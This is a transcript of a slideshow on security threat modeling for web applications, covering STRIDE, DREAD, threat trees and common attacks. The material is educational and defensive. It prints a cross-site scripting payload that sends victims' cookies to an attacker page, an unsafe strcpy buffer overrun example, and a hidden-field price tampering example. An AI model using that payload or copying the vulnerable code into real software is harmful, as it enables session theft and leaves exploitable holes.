Presentation is loading. Please wait.

Presentation is loading. Please wait.

Security Threat Modeling

Similar presentations

Presentation on theme: "Security Threat Modeling"— Presentation transcript:

1 Security Threat Modeling
Presented By, Nagaradhika.B

2 Session Agenda Types of threats Threats against the application
Buffer overrun Cross-site scripting Input tampering Session hijacking Identity Spoofing Information Disclosure Threat modeling Demo Conclusion

3 Common Types of Attack Organizational Attacks Hackers Automated
Connection Fails Organizational Attacks Restricted Data Accidental Breaches in Security Automated Hackers Viruses, Trojan Horses, and Worms Denial of Service (DoS) DoS

4 Types of Threats Spoofed packets, etc.
Network Host Application Threats against the network Spoofed packets, etc. Threats against the host Buffer overflows, illicit paths, etc. Threats against the application SQL injection, XSS, input tampering, etc.

5 Threats Against the Network
Examples Information gathering Port scanning Using trace routing to detect network topologies Using broadcast requests to enumerate subnet hosts Eavesdropping Using packet sniffers to steal passwords Denial of service (DoS) SYN floods ICMP echo request floods Malformed packets Spoofing Packets with spoofed source addresses frame=true#c _004

6 Threats Against the Host
Examples Arbitrary code execution Buffer overflows in ISAPI DLLs (e.g., MS01-033) Directory traversal attacks (MS00-078) File disclosure Malformed HTR requests (MS01-031) Virtualized UNC share vulnerability (MS00-019) Denial of service (DoS) Malformed SMTP requests (MS02-012) Malformed WebDAV requests (MS01-016) Malformed URLs (MS01-012) Brute-force file uploads Unauthorized access Resources with insufficiently restrictive ACLs Spoofing with stolen login credentials Exploitation of open ports and protocols Using NetBIOS and SMB to enumerate hosts Connecting remotely to SQL Server

7 Threats Against the Application
Examples SQL injection Including a DROP TABLE command in text typed into an input field Cross-site scripting Using malicious client-side script to steal cookies Hidden-field tampering Maliciously changing the value of a hidden field Eavesdropping Using a packet sniffer to steal passwords and cookies from traffic on unencrypted connections Session hijacking Using a stolen session ID cookie to access someone else's session state Identity spoofing Using a stolen forms authentication cookie to pose as another user Information disclosure Allowing client to see a stack trace when an unhandled exception occurs

8 What Is a Buffer Overrun?
Occurs when data exceeds the expected size and overwrites other values Exists primarily in unmanaged C/C++ code Includes four types: Stack-based buffer overruns Heap overruns V-table and function pointer overwrites Exception handler overwrites Can be exploited by worms

9 Possible Results of Buffer Overruns
Hacker’s Goal Access violation To perform denial of service attacks against servers Instability To disrupt the normal operation of software Code Injection To gain privileges for their own code To exploit vital business data To perform destructive actions

10 Stack-Based Buffer Overrun Example
Top of Stack void UnSafe (const char* uncheckedData) { int anotherLocalVariable; strcpy (localVariable, uncheckedData); } char localVariable[4]; char[4] int Return address

11 Cross-Site Scripting (XSS)
Exploits applications that echo raw, unfiltered input to Web pages Input from <form> fields Input from query strings The technique: Find a <form> field or query string parameter whose value is echoed to the Web page Enter malicious script and get an unwary user to navigate to the infected page Steal cookies, deface and disable sites

12 How Cross-Site Scripting Works
URL of the site targeted by the attack <a href=" Search=<script language='javascript'> document.location.replace (' Cookie=‘ + document.cookie); </script>">…</a> The query string used in this example (which is taken from the demo that follows) includes JavaScript code that gathers up the cookies (document.cookies) issued to the victim by the targeted site (Search.aspx) and transmits them to the attacker's site (EvilPage.aspx) in a query string. Redirection is accomplished by calling document.location.replace. All EvilPage.aspx has to do to retrieve the cookies is parse them from the query string This attack is alarmingly effective if Search.aspx "trust" input and echoes the query string to the page, and is a fine example of how cross-site scripting can be used to steal cookies Query string contains embedded JavaScript that redirects to attacker’s page and transmits cookies issued by Search.aspx in a query string

13 Hidden-Field Tampering
HTTP is a stateless protocol No built-in way to persist data from one request to the next People are stateful beings Want data persisted between requests Shopping carts, user preferences, etc. Web developers sometimes use hidden fields to persist data between requests Hidden fields are not really hidden! Input tampering was demonstrated in the first demo in session 1

14 How HF Tampering Works Page contains this…
type="hidden" prevents the field from being seen on the page but not in View Source Page contains this… <input type=“hidden” name="price" value="$10,000"> Postback data should contain this… One somewhat famous input tampering attack occurred a few years ago when a Microsoft employee noticed that a major airline round-tripped ticket prices in hidden fields. On a hunch, he selected a ticket, changed the ticket price to $1, and submitted the request. Guess what? He bought the ticket for $1! He also did the right thing: he contacted the airline and informed them about this vulnerability in their Web site. They thanked him and let him keep the ticket price="$10,000" Instead it contains this… price="$1"

15 Session Hijacking Threat Risk Factor
Web applications use sessions to store state Sessions are private to individual users Sessions can be compromised Threat Risk Factor Theft and replay of session ID cookies High* Links to sites that use cookieless session state Medium* Predictable session IDs Low* Remote connection to state server service Medium Remote connection to state server database Eavesdropping on state server connection Sessions cookies can be stolen by eavesdropping on HTTP connections or cross-site scripting When cookieless session state is in effect, ASP.NET embeds the session ID in the URL. If someone pastes that URL into an message and sends it to a friend, the friend will share the sender's session (provided the session is still active, of course) Predictable session IDs are not generally an issue in ASP.NET because ASP.NET uses the Framework’s RNGCryptoServiceProvider class to generate highly random 120-bit session IDs. However, companies can and sometimes do replace those session IDs with IDs of their own In theory, an attacker could remotely connect to the ASP.NET state service if TCP port is left open in the firewall or the attacker is behind the firewall. (Note that ASP.NET 1.1 only permits connections from localhost unless a registry setting is changed. Also, the state service's port number can be changed for an added measure of protection) An attacker could remotely connect to the ASP.NET state database if TCP port 1433 or UDP port 1434 is left open in the firewall or the attacker is behind the firewall and the database server lacks IP restrictions * Shorter session time-outs mitigate the risk by reducing the attack window

16 Identity Spoofing Security depends on authentication
If authentication can be compromised, security goes out the window Authentication can be compromised Threat Risk Factor Theft of Windows authentication credentials High Theft of forms authentication credentials Theft and replay of authentication cookies Medium* Dictionary attacks and password guessing Theft of Windows authentication credentials is accomplished by eavesdropping on unencrypted HTTP connections. Remember that basic authentication passes user names and passwords in cleartext Theft of forms authentication credentials is accomplished by eavesdropping on login forms accessible through unencrypted HTTP connections Forms authentication cookies can be stolen by intercepting unencrypted HTTP traffic or cross-site scripting. Limiting the lifetimes of forms authentication cookies helps mitigate their usefulness The best defense against dictionary attacks is to enforce strong password policies that prevent ordinary words from being used as passwords

17 Information Disclosure
Which is the better error message? The point here is that security-related error messages should be as generic as possible This example seems a little silly, but the threat is very real because ASP.NET reveals too much information when an unhandled exception occurs if it is improperly configured. The demo that follows will make this very clear

18 Threat Modeling Structured approach to identifying, quantifying, and addressing threats Essential part of development process Just like specing and designing Just like coding and testing One technique presented here There are others (e.g., OCTAVE) The threat modeling technique presented here is widely used within Microsoft

19 The Threat Modeling Process
1 Identify assets 2 Document architecture 3 Decompose application 4 Identify threats Identify assets: What is it you want to protect? Document architecture: Diagram the application, paying particular attention to subsystems, trust boundaries, and data flow Decompose application: Create a security profile to help identify vulnerabilities Identify threats: Think like an attacker: How can I break this app? How can I exploit its vulnerabilities? Document threats: Document the threats using a threat template Rate threats: Which threats have the potential for doing the most harm? 5 Document threats 6 Rate threats

20 1 Identifying Assets What is it that you want to protect?
Private data (e.g., customer list) Proprietary data (e.g., intellectual property) Potentially injurious data (e.g., credit card numbers, decryption keys) These also count as "assets" Integrity of back-end databases Integrity of the Web pages (no defacement) Integrity of other machines on the network Availability of the application

21 Documenting Architecture
2 Documenting Architecture Define what the app does and how it's used Users view pages with catalog items Users perform searches for catalog items Users add items to shopping carts Users check out Diagram the application Show subsystems Show data flow List assets

22 Example Asset #1 Asset #2 Asset #3 Web Server Database Server IIS
Firewall IIS ASP.NET Login Bob Alice Main Bill State Asset #1: public pages (anonymous access allowed) Asset #2: private pages (viewers require authentication) Asset #3: Login database (user names and passwords) Asset #4: Decryption keys Asset #5: ASP.NET session state database Asset #6: Main database Asset #4 Asset #5 Asset #6

23 3 Decomposing the App Refine the architecture diagram
Show authentication mechanisms Show authorization mechanisms Show technologies (e.g., DPAPI) Diagram trust boundaries Identify entry points Begin to think like an attacker Where are my vulnerabilities? What am I going to do about them?

24 Windows Authentication
Example Forms Authentication URL Authorization Web Server Database Server Trust Firewall Bob IIS ASP.NET Login Alice Main Bill State In this example, forms authentication and URL authorization will be used to authenticate users and define access rules In this example, the application will use Windows authentication to authenticate against the databases. Windows authentication is one of two forms of authentication supported by SQL Server and is discussed in session 3 In this example, the Windows Data Protection API (DPAPI) will be used to protect the decryption keys. The DPAPI is covered in session 3 The trust boundary encompasses both ASP.NET and the database server because the database server trusts ASP.NET to authenticate the caller DPAPI Windows Authentication

25 4 Identifying Threats Method #1: Threat lists Method #2: STRIDE
Start with laundry list of possible threats Identify the threats that apply to your app Method #2: STRIDE Categorized list of threat types Identify threats by type/category Optionally draw threat trees Root nodes represent attacker's goals Trees help identify threat conditions A good way to structure thinking about threat identfication is to think of the big three threat categories: threats against the network, threats against the host, and threats against the application

26 STRIDE Spoofing S Tampering T Repudiation R Information disclosure I
Can an attacker gain access using a false identity? T Tampering Can an attacker modify data as it flows through the application? R Repudiation If an attacker denies doing something, can we prove he did it? I Information disclosure Can an attacker gain access to private or potentially injurious data? D Denial of service Can an attacker crash or reduce the availiability of the system? E Elevation of privilege Can an attacker assume the identity of a privileged user?

27 Threat Trees OR AND AND Theft of Auth Cookies
Obtain auth cookie to spoof identity OR AND AND Unencrypted Connection Eavesdropping Cross-Site Scripting XSS Vulnerability This is a simple threat tree. In real life, threat trees are numerous and sometimes much more complex Cookies travel over unencrypted HTTP Attacker uses sniffer to monitor HTTP traffic Attacker possesses means and knowledge Application is vulnerable to XSS attacks

28 5 Documenting Threats Document threats using a template Theft of Auth Cookies by Eavesdropping on Connection Threat target Connections between browsers and Web server Risk Attack techniques Attacker uses sniffer to monitor traffic Countermeasures Use SSL/TLS to encrypt traffic Countermeasures are discussed in session 3; countermeasures are included here simply for completeness Theft of Auth Cookies via Cross-Site Scripting Threat target Vulnerable application code Risk Attack techniques Attacker sends with malicious link to users Countermeasures Validate input; HTML-encode output

29 6 Rating Threats Simple model DREAD model
Greater granularization of threat potential Rates (prioritizes) each threat on scale of 1-15 Developed and widely used by Microsoft Risk = Probability * Damage Potential 1-10 Scale 1 = Least probable 10 = Most probable 1-10 Scale 1 = Least damage 10 = Most damage Simple model does not directly take into account factors such as whether the attack requires a timing window (e.g., the fact that a stolen authentication cookie is valid for a finite period of time)

30 DREAD D Damage potential R Reproducibility E Exploitability A
What are the consequences of a successful exploit? R Reproducibility Would an exploit work every time or only under certain circumstances? E Exploitability How skilled must an attacker be to exploit the vulnerability? A Affected users How many users would be affected by a successful exploit? D Discoverability How likely is it that an attacker will know the vulnerability exists?

31 Example Threat D R E A Sum Prioritized Risks
Auth cookie theft (eavesdropping) 3 2 13 Auth cookie theft (XSS) 12 Potential for damage is high (spoofed identities, etc.) Cookie can be stolen any time, but is only useful until expired Anybody can run a packet sniffer; XSS attacks require moderate skill Prioritized Risks Plug these risk ratings back into the threat list and you have a concise list of threats that you can prioritize based on risk All users could be affected, but in reality most won't click malicious links Easy to discover: just type a <script> block into a field

32 Summary Without threat modelling, protecting yourself is like “shooting in the dark” You need expertise in understanding most common attacks – read security bulletins Developers must learn and use secure coding practices Learn some crypto too Assume you are vulnerable, prove you are not

33 References Reference for threat modeling tool:

Download ppt "Security Threat Modeling"

Similar presentations

Ads by Google